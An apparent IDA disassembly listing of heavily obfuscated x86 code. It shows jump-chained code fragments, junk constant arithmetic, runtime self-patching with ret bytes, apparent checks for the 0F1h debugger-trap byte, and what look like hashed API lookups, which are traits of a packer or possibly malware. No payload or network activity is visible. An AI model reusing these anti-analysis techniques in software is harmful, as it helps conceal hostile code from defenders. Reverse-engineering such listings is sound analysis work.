--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74D0BC: ; CODE XREF: sub_747736-E12j jmp loc_74BADF ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- mov edx, ebp sbb edx, 0AB200E43h jmp sub_74E3F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752DF2 loc_74D0CE: ; CODE XREF: sub_752DF2:loc_745458j pop eax or eax, 0ABC1DDCh rol eax, 0Ah sub eax, 23CE9BC6h add eax, 0C2B17AD6h jmp loc_745280 ; END OF FUNCTION CHUNK FOR sub_752DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_74D0E9: ; CODE XREF: sub_75043C-8F1Fj or ecx, ecx jz loc_748342 mov edx, [ebx+ecx] loc_74D0F4: ; CODE XREF: sub_75043C+10BEj push offset loc_748332 jmp nullsub_148 ; END OF FUNCTION CHUNK FOR sub_75043C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_74D0FE: ; CODE XREF: sub_749306:loc_7458ABj mov al, [eax] jb loc_74B259 sub al, 99h push 8198D6B0h jmp loc_75121A ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E3F7 loc_74D112: ; CODE XREF: sub_74E3F7:loc_7503B1j ; sub_74E3F7+4D91j push 5E7D3154h xchg ebp, [esp+4+var_4] mov eax, ebp pop ebp or eax, 0FE0C6CE3h jmp loc_74FD05 ; END OF FUNCTION CHUNK FOR sub_74E3F7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_746301 jmp sub_74D4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754CBF loc_74D134: ; CODE XREF: sub_754CBF+20F2j call sub_749980 ; END OF FUNCTION CHUNK FOR sub_754CBF ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_74D139: ; CODE XREF: sub_7544F1:loc_752138j xchg ebx, [esp+4+var_4] jmp nullsub_191 ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74D141: ; CODE XREF: sub_747290:loc_75741Dj jns loc_750B82 mov eax, [esp+0] push edx call sub_75740D jmp loc_74F4F8 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- loc_74D155: ; DATA XREF: sub_74F266:loc_7487E8o call sub_746E93 push edi push 24B074FDh pop edi jmp loc_746AC6 ; --------------------------------------------------------------------------- loc_74D166: ; DATA XREF: sub_74BD6F+7EDCo pop ebx pushf push 7148CAEh pop eax sub eax, 30A0B1C4h loc_74D174: ; CODE XREF: _0z4jwtox:00755C18j xor eax, 35A70EA4h add eax, ebp jmp loc_74AE31 ; --------------------------------------------------------------------------- loc_74D181: ; DATA XREF: sub_747C22:loc_746260o mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74D185: ; CODE XREF: sub_74C670+ACDFj jmp loc_74C703 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_74D18A: ; CODE XREF: sub_752520+6j jmp loc_75496F ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74D18F: ; CODE XREF: sub_747C22+EF33j mov eax, [ebp-4] mov eax, [eax] add [ebp-28h], eax push 6DA11A7Bh pop eax jmp loc_74F088 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- rol ebp, 1Ah jmp loc_7571FD ; --------------------------------------------------------------------------- loc_74D1AA: ; DATA XREF: sub_74946E+C68Fo mov [edx], eax pop edx ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74D1AD: ; CODE XREF: sub_747AEC+4B2Cj ; sub_747AEC+58B5j jz loc_74DB8D push offset aShVnbBJBis ; "\nShVb[æb" jmp nullsub_58 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_74D1BD proc near ; DATA XREF: _0z4jwtox:00754CB5o ; FUNCTION CHUNK AT 00748735 SIZE 0000000E BYTES call sub_756691 mov eax, 0CC5549F7h call sub_746E93 mov ds:dword_41F078, eax jmp loc_748735 sub_74D1BD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74D1D7: ; CODE XREF: sub_747290:loc_74A08Fj jl loc_745CAA xor esi, 0D4B9BC63h ror ebx, 1Bh jmp loc_74C6C7 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74D1EB: ; CODE XREF: sub_74673E+781Bj xchg edi, [esp-0Ch+arg_8] jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_74D1F3 proc near ; CODE XREF: _0z4jwtox:0074558Cj ; sub_748B44:loc_74E080p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00746038 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00746701 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074671F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00747286 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748AE7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748DB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AF85 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074B253 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074BE1F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074C654 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074C7F3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D002 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EE97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F71F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FAF3 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0074FF2B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00750C1C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0075290C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075322A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 007534F4 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 007543F2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0075608A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00756775 SIZE 00000005 BYTES xchg ecx, [esp+4+var_4] pop ecx add eax, ebp add eax, 91224CB3h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_748AE7 jmp loc_75290C sub_74D1F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74D20F: ; CODE XREF: _0z4jwtox:0075560Aj retn ; --------------------------------------------------------------------------- loc_74D210: ; CODE XREF: _0z4jwtox:loc_755407j lea eax, nullsub_252 mov byte ptr [eax], 0C3h jmp loc_74B549 ; =============== S U B R O U T I N E ======================================= sub_74D21E proc near ; CODE XREF: sub_40CC09+44DCp ; sub_4133F9+2Bp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745839 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007512A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007568B8 SIZE 00000020 BYTES push esi push 43936026h pop esi and esi, 9681486Bh jmp loc_7512A0 sub_74D21E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74D230: ; CODE XREF: sub_746640:loc_753D76j lea eax, sub_755148 mov byte ptr [eax], 0C3h jmp loc_754881 ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_74D23E proc near ; CODE XREF: sub_404ECE+282p ; sub_406059:loc_406195p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745F0A SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00746157 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 007465A1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00746F9D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00747D88 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007480A1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00748BFB SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0074A0DE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074A242 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074AB20 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B9F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BB98 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C1A9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074D095 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074DDEE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074EBA2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074FF5D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00750B2B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00750C5C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075340B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753533 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075409B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 007540EB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755C2D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755E72 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075646B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00756866 SIZE 00000013 BYTES push edi push 57EE8E6Dh pop edi jmp loc_746157 sub_74D23E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B21E loc_74D24A: ; CODE XREF: sub_74B21E:loc_749CDBj mov ds:off_41F108, eax lea eax, sub_74AC6D mov byte ptr [eax], 0C3h jmp sub_74AC6D ; END OF FUNCTION CHUNK FOR sub_74B21E ; --------------------------------------------------------------------------- call nullsub_13 jmp ds:dword_41F10C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74D269: ; CODE XREF: sub_7561AB-10BF9j jmp loc_753CD0 ; END OF FUNCTION CHUNK FOR sub_7561AB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] db 84h dd 0FFFFB263h, 8B240487h, 0B429E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_74D27E: ; CODE XREF: sub_74CD80:loc_74C0F7j rol edi, 19h test edi, 40000h jmp loc_752FFE ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C7A2 loc_74D28C: ; CODE XREF: sub_74C7A2:loc_74EAC7j push edx push 87696BDFh pop edx xor edx, 0B1ADB7C8h add edx, 0B6F3CFD6h and edx, 40B849B8h xor edx, 8320828h jmp loc_747E30 ; END OF FUNCTION CHUNK FOR sub_74C7A2 ; --------------------------------------------------------------------------- loc_74D2B0: ; DATA XREF: sub_752D11-BC7Eo pop esi lea eax, sub_7574E3 mov byte ptr [eax], 0C3h jmp sub_7574E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7574E3 loc_74D2BF: ; CODE XREF: sub_7574E3j xchg eax, [esp+0] mov edx, eax loc_74D2C4: ; CODE XREF: _0z4jwtox:00754920j pop eax mov eax, [esp+0] call sub_74DFF3 ; END OF FUNCTION CHUNK FOR sub_7574E3 ; START OF FUNCTION CHUNK FOR sub_747A94 loc_74D2CD: ; CODE XREF: sub_747A94+74D3j jmp loc_7488BF ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- jnz loc_74C6B9 popf jmp sub_750B49 ; --------------------------------------------------------------------------- loc_74D2DE: ; DATA XREF: _0z4jwtox:0075331Do push edx push 905548FAh loc_74D2E4: ; CODE XREF: _0z4jwtox:0074EDBAj xchg ecx, [esp] mov edx, ecx pop ecx rol edx, 12h jb loc_7481F7 push 0FF49A5E9h pop eax and eax, 2F0D8248h xor eax, 2C7D5AD6h push eax push 8EDCF0C7h pop eax rol eax, 15h jmp loc_752038 ; --------------------------------------------------------------------------- mov ds:dword_41F0DC, eax lea eax, nullsub_294 push offset sub_74541D jmp locret_748DAC ; --------------------------------------------------------------------------- mov eax, ebx jmp loc_74C9CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74D331: ; CODE XREF: sub_74AAC1-4C63j jnz loc_74AA39 loc_74D337: ; CODE XREF: sub_747C39+1821j jmp loc_74E7A0 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- or edx, ebx jmp loc_74F8A8 ; =============== S U B R O U T I N E ======================================= sub_74D343 proc near ; CODE XREF: _0z4jwtox:00746458p ; _0z4jwtox:0074992Aj xchg edx, [esp+0] pop edx pop esi lea eax, sub_74C527 mov byte ptr [eax], 0C3h jmp sub_74C527 sub_74D343 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74D356: ; CODE XREF: sub_74FE55+3A70j pop eax add eax, 179A6B96h rol eax, 8 cmp eax, 0DD5A4575h jmp loc_748679 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74D36C: ; CODE XREF: sub_7557E7+19j jmp loc_7573D4 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753DFA loc_74D371: ; CODE XREF: sub_753DFA+14j jmp nullsub_273 ; END OF FUNCTION CHUNK FOR sub_753DFA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C45E loc_74D376: ; CODE XREF: sub_74C45E+1B3Fj jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_74C45E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DE8D loc_74D37B: ; CODE XREF: sub_74DE8D+Ej jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74DE8D ; --------------------------------------------------------------------------- loc_74D380: ; CODE XREF: _0z4jwtox:0074977Aj jmp locret_755758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74D385: ; CODE XREF: sub_747AEC:loc_751624j add eax, 1BA03C62h xor eax, 0D577CA4Ch sub eax, 8648BFD9h add eax, 7D31EE5Ah mov eax, [eax] or eax, eax jnz loc_74D1AD jmp loc_7483C9 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- push 0C245ADDh sub ebx, edx jmp sub_74CCB1 ; --------------------------------------------------------------------------- loc_74D3B8: ; CODE XREF: _0z4jwtox:00745B7Dj push 0A1646A32h ; START OF FUNCTION CHUNK FOR sub_74BFF8 loc_74D3BD: ; CODE XREF: sub_74BFF8:loc_745B6Ej add eax, 0A1B2DF3Fh xor eax, 77B56324h call sub_74DE8D ; END OF FUNCTION CHUNK FOR sub_74BFF8 ; START OF FUNCTION CHUNK FOR sub_753176 loc_74D3CE: ; CODE XREF: sub_753176-9E42j jmp loc_74BAC0 ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_74D3D3: ; CODE XREF: sub_74AE67+468Cj jnp loc_754B88 cmp esi, 2B1EF3Dh jmp loc_75549D ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- mov eax, 22143682h call sub_746E93 mov ds:off_41F098, eax lea eax, loc_75344B mov byte ptr [eax], 0C3h jmp loc_74A508 ; --------------------------------------------------------------------------- and ebx, 0BFC77298h jmp sub_7570E0 ; --------------------------------------------------------------------------- locret_74D40D: ; CODE XREF: _0z4jwtox:00747574j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_74D40E: ; CODE XREF: sub_7572F3-12F4j jmp loc_7461C6 ; END OF FUNCTION CHUNK FOR sub_7572F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74D414: ; CODE XREF: sub_747C22+2A7j jmp loc_74DCDF ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- locret_74D419: ; CODE XREF: _0z4jwtox:loc_7500DFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_74D41A: ; CODE XREF: sub_74FA7E+5AC1j jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_74FA7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7460F1 loc_74D41F: ; CODE XREF: sub_7460F1+4A98j jmp loc_747AAA ; END OF FUNCTION CHUNK FOR sub_7460F1 ; =============== S U B R O U T I N E ======================================= sub_74D424 proc near ; CODE XREF: sub_752E0F:loc_74C119j ; FUNCTION CHUNK AT 00749364 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749CC1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00750B69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007510D1 SIZE 00000003 BYTES add esp, 0FFFFFFF8h mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] jmp loc_750B69 sub_74D424 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_254. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74D436: ; CODE XREF: sub_747C22+C29Aj jmp loc_74E719 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_74D43B: ; CODE XREF: sub_748C3B:loc_74A45Bj pushf push 0B7307DD4h pop edx or edx, 0BF0D7475h and edx, 1CDAF038h jmp loc_74C836 ; END OF FUNCTION CHUNK FOR sub_748C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_74D453: ; CODE XREF: sub_750243:loc_74C831j add edx, 39955EDh xor edx, 114700E5h add edx, 25BE8AFAh mov [edx], eax xchg eax, [esp+10h+var_10] mov edx, eax jmp loc_74C456 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- ja loc_74CA22 jmp sub_74A045 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74D47D: ; CODE XREF: _0z4jwtox:00750D14j jmp sub_74DAAF ; --------------------------------------------------------------------------- loc_74D482: ; CODE XREF: _0z4jwtox:0074E667j not edx xchg ebx, [edi] push eax jge loc_751E55 jmp loc_7536AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750A01 loc_74D492: ; CODE XREF: sub_750A01+Ej cmp dword ptr [ebp-14h], 5 setz al call sub_7452F3 pop ecx jmp loc_74589D ; END OF FUNCTION CHUNK FOR sub_750A01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74D4A4: ; CODE XREF: sub_747736+100DFj jge loc_7525E2 loc_74D4AA: ; CODE XREF: _0z4jwtox:007536A9j jmp loc_74690D ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A54A loc_74D4AF: ; CODE XREF: sub_74A54A+5j jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_74A54A ; --------------------------------------------------------------------------- jle loc_749995 jl loc_754B62 jmp loc_74E6CC ; =============== S U B R O U T I N E ======================================= sub_74D4C5 proc near ; CODE XREF: sub_752520:loc_747300p ; _0z4jwtox:0074BCD9j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007551FF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007570A7 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx xchg ebp, [esp-4+arg_0] and ecx, ebp jmp loc_7551FF sub_74D4C5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74D4D3 proc near ; CODE XREF: sub_754DFF-AF66p ; _0z4jwtox:0074D12Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074534E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007455B7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00748D7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AC29 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074AE02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C402 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C8BB SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0074E64D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750ACB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00752FA1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753D44 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0075638D SIZE 00000011 BYTES xchg edx, [esp-8+arg_4] pop edx xchg edi, [esp+0] mov ebx, edi or edi, ebp jmp loc_74534E sub_74D4D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 510AEA73h call sub_746E93 push edi push 4F8E8983h pop edi xor edi, 0D4DE0EB7h or edi, 23EB344Eh jmp loc_74E637 ; =============== S U B R O U T I N E ======================================= sub_74D505 proc near ; CODE XREF: _0z4jwtox:0074BFF3j ; sub_755C10-967p arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] jmp sub_746E93 sub_74D505 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757314 loc_74D511: ; CODE XREF: sub_757314:loc_745F88j add ecx, 0D3198D4Dh mov ecx, [ecx] popf mov eax, [ebp-24h] mov dx, [eax+2] push offset loc_746FEA jmp loc_74E816 ; END OF FUNCTION CHUNK FOR sub_757314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_74D52B: ; CODE XREF: sub_74946E:loc_745861j or edx, 19365C09h pop ecx jl sub_747892 mov ecx, 916492F1h xor edi, 0FA40CE54h jmp loc_75083C ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- sub ebx, 0FD442C7Fh jmp sub_74F13C ; --------------------------------------------------------------------------- push ebx push 52387405h pop ebx xor ebx, 6F015926h and ebx, 524B71E3h add ebx, 0F038CF19h jmp loc_749239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FB89 loc_74D571: ; CODE XREF: sub_755340-B7EEj ; sub_74FB89+13j cmp dword ptr [ebp-8], 0A22F8A70h jz loc_74D586 mov eax, [ebp-0Ch] call sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_74FB89 ; START OF FUNCTION CHUNK FOR sub_74BE45 loc_74D586: ; CODE XREF: sub_748A22:loc_7454A9j ; sub_748A22-2175j ... mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74BE45 ; --------------------------------------------------------------------------- loc_74D58D: ; CODE XREF: _0z4jwtox:0074942Bj jmp loc_74FC57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_74D592: ; CODE XREF: sub_748C0D:loc_754B16j mov eax, [eax] mov al, [eax] js loc_747296 loc_74D59C: ; CODE XREF: _0z4jwtox:0074CAA1j sub al, 99h loc_74D59E: ; CODE XREF: _0z4jwtox:loc_74CB04j push 0CA8C86EAh jmp loc_74FFE3 ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- js loc_749D17 jmp sub_74E693 ; --------------------------------------------------------------------------- locret_74D5B3: ; CODE XREF: _0z4jwtox:loc_7533BCj retn ; --------------------------------------------------------------------------- loc_74D5B4: ; CODE XREF: _0z4jwtox:007561A6j jmp sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74D5B9: ; CODE XREF: sub_747AEC+975Cj jmp loc_74DEB6 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_74D5BE: ; CODE XREF: sub_7544F1-D8AFj jmp loc_74789B ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- sub ecx, 0E245421Dh jmp sub_7560FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74D5CE: ; CODE XREF: sub_747C22+1891j mov ebp, [eax] loc_74D5D0: ; CODE XREF: sub_747C22:loc_75706Bj push 0E1009110h pop eax xor eax, 6F8492C6h add eax, 1F0E359h jmp loc_7453E0 ; END OF FUNCTION CHUNK FOR sub_747C22 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_74D5E8: ; CODE XREF: sub_75275A+2084j cmp edi, esi jmp loc_7524A4 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- mov eax, 0A4811312h call sub_746E93 mov ds:off_41F07C, eax lea eax, loc_74DACA mov byte ptr [eax], 0C3h jmp loc_74EE53 ; =============== S U B R O U T I N E ======================================= sub_74D60D proc near ; CODE XREF: sub_40517E+27Bp ; _0z4jwtox:00749151j ; DATA XREF: ... push offset loc_74914C jmp nullsub_60 sub_74D60D endp ; --------------------------------------------------------------------------- jmp ds:off_41F0BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570B1 loc_74D61D: ; CODE XREF: sub_7570B1-4A81j jmp loc_756534 ; END OF FUNCTION CHUNK FOR sub_7570B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_74D622: ; CODE XREF: sub_74CBB7+59F6j jmp sub_74BFE0 ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- loc_74D627: ; CODE XREF: _0z4jwtox:0074B139j jmp locret_7552A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746B7C loc_74D62C: ; CODE XREF: sub_7504F1:loc_747C00j ; sub_746B7C+FDA9j ... xchg ebp, [esp-8+arg_4] push offset loc_74A604 jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_746B7C ; --------------------------------------------------------------------------- rol edx, 3 jmp sub_7541CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_74D641: ; CODE XREF: sub_74AE67:loc_74DA63j mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_7554A8 loc_74D64C: ; CODE XREF: _0z4jwtox:0074766Cj jmp loc_757298 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74D651: ; CODE XREF: sub_74CBCF+B03j xor esi, 45F7B50Eh add eax, esi xchg ecx, [esp+0] mov esi, ecx pop ecx push ebx pushf jmp loc_749D03 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_74D666: ; CODE XREF: sub_74C874+16j xor eax, 1443E2AFh rol eax, 16h add eax, 86C2B712h loc_74D675: ; CODE XREF: sub_750638:loc_755810j rol eax, 3 add eax, 883542FEh jmp loc_74F277 ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74D683: ; CODE XREF: sub_74673E:loc_752033j push eax mov edx, eax call sub_752E0F push edi push 383C7C0Ah xchg esi, [esp+0] jmp loc_74825D ; END OF FUNCTION CHUNK FOR sub_74673E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74D69A: ; CODE XREF: _0z4jwtox:0074F9AFj mov edi, edx mov [edi], ebx jmp loc_74B974 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EA54 loc_74D6A3: ; CODE XREF: sub_74EA54:loc_74BB05j call sub_74E84B loc_74D6A8: ; CODE XREF: _0z4jwtox:0074D90Bj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74EA54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7476BB loc_74D6AD: ; CODE XREF: sub_7476BB:loc_74821Cj call sub_7541BA loc_74D6B2: ; CODE XREF: _0z4jwtox:0075479Aj jmp loc_750A3F ; END OF FUNCTION CHUNK FOR sub_7476BB ; --------------------------------------------------------------------------- test eax, edi jmp loc_755782 ; 